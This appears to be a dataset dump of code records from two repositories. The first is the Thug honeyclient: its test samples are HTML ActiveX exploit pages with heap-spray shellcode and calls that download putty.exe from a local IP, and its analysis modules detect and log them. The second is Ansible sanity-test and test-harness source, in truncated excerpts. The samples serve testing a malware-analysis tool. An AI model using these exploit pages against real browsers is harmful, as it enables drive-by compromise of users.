ZenturiProgramCheckerAttack3.htm
buffer_thug/tests/samples/exploits/ZenturiProgramCheckerAttack3.htm
<HTML> <BODY> <object id=boom classid="clsid:{59DBDDA6-9A80-42A4-B824-9BC50CC172F5}"></object> <SCRIPT> boom.NavigateUrl("http://192.168.1.100/putty.exe"); </SCRIPT> </BODY> </HTML>
190
Python
.tac
8
21.75
82
0.701657
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,064
MicrosoftWorks7Attack.htm
buffer_thug/tests/samples/exploits/MicrosoftWorks7Attack.htm
<html> <head> <title>Microsoft Works 7 WkImgSrv.dll Exploit</title> Coded by lhoang8500 lhoang8500[at]gmail[dot]com BKIS Center - Vietnam <SCRIPT language="javascript"> var heapSprayToAddress = 0x0A0A0A0A; var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178...
1,600
Python
.tac
43
34.511628
446
0.772875
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,065
ZenturiProgramCheckerAttack2.htm
buffer_thug/tests/samples/exploits/ZenturiProgramCheckerAttack2.htm
<HTML> <BODY> <object id=boom classid="clsid:{59DBDDA6-9A80-42A4-B824-9BC50CC172F5}"></object> <SCRIPT> boom.DownloadFile("http://192.168.1.100/putty.exe", "putty.exe"); </SCRIPT> </BODY> </HTML>
204
Python
.tac
8
23.5
82
0.697436
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,066
RediffBolDownloaderAttack.htm
buffer_thug/tests/samples/exploits/RediffBolDownloaderAttack.htm
<html> <body> <OBJECT id="rboldwn" WIDTH=445 HEIGHT=40 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" > </OBJECT> <script language="javascript"> rboldwn.url = "file://C:/WINNT/Notepad.exe" rboldwn.fontsize = 14 rboldwn.barcolor = 'EE4E00' rboldwn.start = "start" </script> </body> </html>
299
Python
.tac
12
23.583333
95
0.749117
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,067
ZenturiProgramCheckerAttack.htm
buffer_thug/tests/samples/exploits/ZenturiProgramCheckerAttack.htm
<BODY> <object id=boom classid="clsid:{59DBDDA6-9A80-42A4-B824-9BC50CC172F5}"></object> <h4>Will Dormann from CERT/CC is credited with the discovery.</H4><br> <h4>This exploits executes calc.exe</h4> <SCRIPT> var payLoadCode=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + ...
2,666
Python
.tac
54
38.333333
90
0.62158
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,068
CreativeSoftAttack.htm
buffer_thug/tests/samples/exploits/CreativeSoftAttack.htm
<html> <object classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715' id='obj1'></object> <script language='javascript'> var sc01 = unescape("%u9090%u9090"+ "%ue8fcD%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+ "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u01...
1,090
Python
.tac
25
42.48
84
0.728128
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,069
AolAttack.html
buffer_thug/tests/samples/exploits/AolAttack.html
<html> <body> <script> var obj = document.createElement("object"); obj.setAttribute("classid", "clsid:189504B8-50D1-4AA8-B4D6-95C8F58A6414"); obj.LinkSBIcons(); </script> </body> </html>
190
Python
.tac
9
19.777778
75
0.740331
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,070
ZenturiProgramCheckerAttack.py
buffer_thug/thug/ActiveX/modules/ZenturiProgramCheckerAttack.py
import logging log = logging.getLogger("Thug") def DownloadFile(self, *arg): log.ThugLogging.add_behavior_warn( "[ZenturiProgramChecker ActiveX] Attack in DownloadFile function" ) log.ThugLogging.add_behavior_warn( f"[ZenturiProgramChecker ActiveX] Downloading from {arg[0]}" ) lo...
1,660
Python
.tac
47
28.510638
78
0.681421
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,071
RediffBolDownloaderAttack.py
buffer_thug/thug/ActiveX/modules/RediffBolDownloaderAttack.py
import logging log = logging.getLogger("Thug") def Seturl(self, val): self.__dict__["url"] = val log.ThugLogging.log_exploit_event( self._window.url, "RediffBolDownloader ActiveX", "Overflow in url property" ) log.ThugLogging.Shellcode.check_shellcode(val)
285
Python
.tac
8
31.125
83
0.714286
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,072
AOLAttack.py
buffer_thug/thug/ActiveX/modules/AOLAttack.py
import logging log = logging.getLogger("Thug") def LinkSBIcons(self): log.ThugLogging.log_exploit_event( self._window.url, "AOL ActiveX", "Attack in LinkSBIcons function", cve="CVE-2006-5820", ) log.ThugLogging.log_classifier("exploit", log.ThugLogging.url, "CVE-2006-5820...
323
Python
.tac
10
26.5
83
0.676375
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,073
CreativeSoftAttack.py
buffer_thug/thug/ActiveX/modules/CreativeSoftAttack.py
import logging log = logging.getLogger("Thug") def Setcachefolder(self, val): # pylint:disable=unused-argument log.ThugLogging.log_exploit_event( self._window.url, "CreativeSoft ActiveX", "Overflow in cachefolder property" )
245
Python
.tac
6
36.666667
84
0.75
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,074
MicrosoftWorks7Attack.py
buffer_thug/thug/ActiveX/modules/MicrosoftWorks7Attack.py
import logging log = logging.getLogger("Thug") def SetWksPictureInterface(self, val): self.__dict__["WksPictureInterface"] = val log.ThugLogging.log_exploit_event( self._window.url, "MicrosoftWorks7 ActiveX", "Overflow in WksPictureInterface property", )
295
Python
.tac
9
27.333333
51
0.705674
buffer/thug
978
204
0
GPL-2.0
9/5/2024, 5:11:50 PM (Europe/Amsterdam)
13,075
package-data.py
ansible_ansible/test/sanity/code-smell/package-data.py
"""Verify the contents of the built sdist and wheel.""" from __future__ import annotations import contextlib import fnmatch import os import pathlib import re import shutil import subprocess import sys import tarfile import tempfile import typing as t import zipfile from ansible.release import __version__ def colle...
7,756
Python
.py
169
39.12426
145
0.662633
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,076
test-constraints.py
ansible_ansible/test/sanity/code-smell/test-constraints.py
from __future__ import annotations import os import pathlib import re import sys def main(): constraints_path = 'test/lib/ansible_test/_data/requirements/constraints.txt' requirements = {} for path in sys.argv[1:] or sys.stdin.read().splitlines(): if path == 'test/lib/ansible_test/_data/require...
4,330
Python
.py
81
43.160494
160
0.614764
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,077
no-unwanted-characters.py
ansible_ansible/test/sanity/code-smell/no-unwanted-characters.py
"""Disallow use of unwanted Unicode characters.""" from __future__ import annotations import re import sys def main(): """Main entry point.""" for path in sys.argv[1:] or sys.stdin.read().splitlines(): with open(path, 'rb') as path_fd: for line, text in enumerate(path_fd.readlines()): ...
841
Python
.py
20
30.7
98
0.518428
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,078
mypy.requirements.in
ansible_ansible/test/sanity/code-smell/mypy.requirements.in
mypy cryptography # type stubs not published separately jinja2 # type stubs not published separately packaging # type stubs not published separately pytest # type stubs not published separately tomli # type stubs not published separately, required for toml inventory plugin types-backports types-paramiko types-pyya...
425
Python
.py
12
34.416667
80
0.842615
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,079
release-names.py
ansible_ansible/test/sanity/code-smell/release-names.py
# -*- coding: utf-8 -*- # (c) 2019, Ansible Project # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later...
1,616
Python
.py
37
40.675676
102
0.719567
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,080
update-bundled.py
ansible_ansible/test/sanity/code-smell/update-bundled.py
# -*- coding: utf-8 -*- # (c) 2018, Ansible Project # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later...
6,141
Python
.py
135
37.614815
96
0.657895
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,081
deprecated-config.py
ansible_ansible/test/sanity/code-smell/deprecated-config.py
# -*- coding: utf-8 -*- # (c) 2018, Matt Martz <matt@sivel.net> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your optio...
3,208
Python
.py
81
32.765432
125
0.636832
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,082
required-and-default-attributes.py
ansible_ansible/test/sanity/code-smell/required-and-default-attributes.py
from __future__ import annotations import re import sys def main(): for path in sys.argv[1:] or sys.stdin.read().splitlines(): with open(path, 'r') as path_fd: for line, text in enumerate(path_fd.readlines()): match = re.search(r'(FieldAttribute.*(default|required).*(default|r...
570
Python
.py
13
34.384615
103
0.560799
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,083
mypy.requirements.txt
ansible_ansible/test/sanity/code-smell/mypy.requirements.txt
# edit "mypy.requirements.in" and generate with: hacking/update-sanity-requirements.py --test mypy cffi==1.17.1 cryptography==43.0.1 iniconfig==2.0.0 Jinja2==3.1.4 MarkupSafe==2.1.5 mypy==1.11.2 mypy-extensions==1.0.0 packaging==24.1 pluggy==1.5.0 pycparser==2.22 pytest==8.3.3 tomli==2.0.2 types-backports==0.1.3 types-...
510
Python
.py
21
23.285714
98
0.773006
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,084
boilerplate.py
ansible_ansible/test/sanity/code-smell/boilerplate.py
from __future__ import annotations import ast import sys def main(): for path in sys.argv[1:] or sys.stdin.read().splitlines(): with open(path, 'rb') as path_fd: lines = path_fd.read().splitlines() missing = True if not lines: # Files are allowed to be empty of ev...
1,756
Python
.py
40
31.85
106
0.562867
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,085
no-unwanted-files.py
ansible_ansible/test/sanity/code-smell/no-unwanted-files.py
"""Prevent unwanted files from being added to the source tree.""" from __future__ import annotations import os import sys def main(): """Main entry point.""" paths = sys.argv[1:] or sys.stdin.read().splitlines() allowed_extensions = ( '.cs', '.ps1', '.psm1', '.py', ) ...
1,359
Python
.py
35
31.371429
142
0.614504
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,086
obsolete-files.py
ansible_ansible/test/sanity/code-smell/obsolete-files.py
"""Prevent files from being added to directories that are now obsolete.""" from __future__ import annotations import os import sys def main(): """Main entry point.""" paths = sys.argv[1:] or sys.stdin.read().splitlines() for path in paths: print('%s: directory "%s/" is obsolete and should not co...
410
Python
.py
11
33.545455
113
0.664122
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,087
ansible-requirements.py
ansible_ansible/test/sanity/code-smell/ansible-requirements.py
from __future__ import annotations import re def read_file(path): try: with open(path, 'r') as f: return f.read() except Exception as ex: # pylint: disable=broad-except print('%s:%d:%d: unable to read required file %s' % (path, 0, 0, re.sub(r'\s+', ' ', str(ex)))) return ...
834
Python
.py
19
37.789474
103
0.651365
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,088
pymarkdown.py
ansible_ansible/test/sanity/code-smell/pymarkdown.py
"""Sanity test for Markdown files.""" from __future__ import annotations import pathlib import re import subprocess import sys import typing as t def main() -> None: paths = sys.argv[1:] or sys.stdin.read().splitlines() cmd = [ sys.executable, '-m', 'pymarkdown', '--config', pathlib...
1,568
Python
.py
46
27.73913
126
0.595745
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,089
mypy.json
ansible_ansible/test/sanity/code-smell/mypy.json
{ "prefixes": [ "lib/ansible/", "test/lib/ansible_test/_internal/", "packaging/", "test/units", "test/lib/ansible_test/_util/target/sanity/import/" ], "extensions": [ ".py" ], "multi_version": "controller", "error_code": "ansible-test", "output...
357
Python
.py
15
17.733333
59
0.546784
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,090
mypy.py
ansible_ansible/test/sanity/code-smell/mypy.py
"""Sanity test which executes mypy.""" from __future__ import annotations import dataclasses import os import pathlib import re import subprocess import sys import typing as t vendored_paths = ( 'lib/ansible/module_utils/six/__init__.py', 'lib/ansible/module_utils/distro/_distro.py', ) config_dir = pathlib....
8,720
Python
.py
175
42.777143
155
0.675029
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,091
__init__.py
ansible_ansible/test/lib/ansible_test/__init__.py
# Empty __init__.py to allow relative imports to work under mypy.
66
Python
.py
1
65
65
0.738462
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,092
sanity.pylint.txt
ansible_ansible/test/lib/ansible_test/_data/requirements/sanity.pylint.txt
# edit "sanity.pylint.in" and generate with: hacking/update-sanity-requirements.py --test pylint astroid==3.3.5 dill==0.3.9 isort==5.13.2 mccabe==0.7.0 platformdirs==4.3.6 pylint==3.3.1 PyYAML==6.0.2 tomlkit==0.13.2
216
Python
.py
9
23
96
0.748792
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,093
delegation.py
ansible_ansible/test/lib/ansible_test/_internal/delegation.py
"""Delegate test execution to another environment.""" from __future__ import annotations import collections.abc as c import contextlib import json import os import tempfile import typing as t from .constants import ( STATUS_HOST_CONNECTION_ERROR, ) from .locale_util import ( STANDARD_LOCALE, ) from .io impo...
13,418
Python
.py
294
37.068027
148
0.654501
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,094
ansible_util.py
ansible_ansible/test/lib/ansible_test/_internal/ansible_util.py
"""Miscellaneous utility functions and classes specific to ansible cli tools.""" from __future__ import annotations import json import os import shutil import typing as t from .constants import ( ANSIBLE_BIN_SYMLINK_MAP, SOFT_RLIMIT_NOFILE, ) from .util import ( common_environment, ApplicationError, ...
11,690
Python
.py
259
38.76834
152
0.692084
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,095
coverage_util.py
ansible_ansible/test/lib/ansible_test/_internal/coverage_util.py
"""Utility code for facilitating collection of code coverage when running tests.""" from __future__ import annotations import dataclasses import os import sqlite3 import tempfile import typing as t from .config import ( IntegrationConfig, SanityConfig, TestConfig, ) from .io import ( write_text_file,...
9,283
Python
.py
247
32.659919
130
0.706827
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,096
io.py
ansible_ansible/test/lib/ansible_test/_internal/io.py
"""Functions for disk IO.""" from __future__ import annotations import io import json import os import typing as t from .encoding import ( ENCODING, to_bytes, to_text, ) def read_json_file(path: str) -> t.Any: """Parse and return the json content from the specified path.""" return json.loads(rea...
2,807
Python
.py
63
37.571429
102
0.644829
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,097
util.py
ansible_ansible/test/lib/ansible_test/_internal/util.py
"""Miscellaneous utility functions and classes.""" from __future__ import annotations import abc import collections.abc as c import enum import fcntl import importlib.util import inspect import json import keyword import os import platform import pkgutil import random import re import shutil import stat import string ...
38,868
Python
.py
897
36.254181
157
0.653997
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,098
core_ci.py
ansible_ansible/test/lib/ansible_test/_internal/core_ci.py
"""Access Ansible Core CI remote services.""" from __future__ import annotations import abc import dataclasses import json import os import re import stat import traceback import uuid import time import typing as t from .http import ( HttpClient, HttpResponse, HttpError, ) from .io import ( make_dirs...
17,309
Python
.py
414
32.091787
132
0.603617
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)
13,099
config.py
ansible_ansible/test/lib/ansible_test/_internal/config.py
"""Configuration classes.""" from __future__ import annotations import dataclasses import enum import os import sys import typing as t from .util import ( verify_sys_executable, version_to_str, type_guard, ) from .util_common import ( CommonConfig, ) from .metadata import ( Metadata, ) from .da...
12,131
Python
.py
255
39.341176
148
0.662818
ansible/ansible
62,258
23,791
861
GPL-3.0
9/5/2024, 5:11:58 PM (Europe/Amsterdam)